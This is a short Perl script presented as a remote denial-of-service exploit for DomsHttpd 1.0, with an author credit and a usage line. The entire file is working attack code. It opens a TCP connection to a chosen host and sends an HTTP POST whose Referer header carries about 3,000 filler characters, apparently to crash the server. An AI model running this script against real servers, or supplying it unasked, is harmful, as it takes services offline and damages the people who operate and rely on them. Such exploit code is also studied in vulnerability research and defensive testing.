#!/usr/bin/perl
# DomsHttpd 1.0 <= Remote Denial Of Service Exploit
# Credit: Jean Pascal Pereira <pereira@secbiz.de>
# Usage: domshttpd.pl [host] [port]
use strict;
use warnings;
use IO::Socket;
my $host = shift || "localhost";
my $port = shift || 88;
my $sock = IO::Socket::INET->new( Proto => "tcp",
PeerAddr => $host,
PeerPort => $port
);
my $junk = "A"x3047;
print $sock "POST / HTTP/1.1\r\nHost: ".$host."\r\nConnection: close\r\nUser-Agent: Mozilla\r\nReferer: http://".$host."/".$junk."\r\n\r\n";
sleep 4;
close($sock);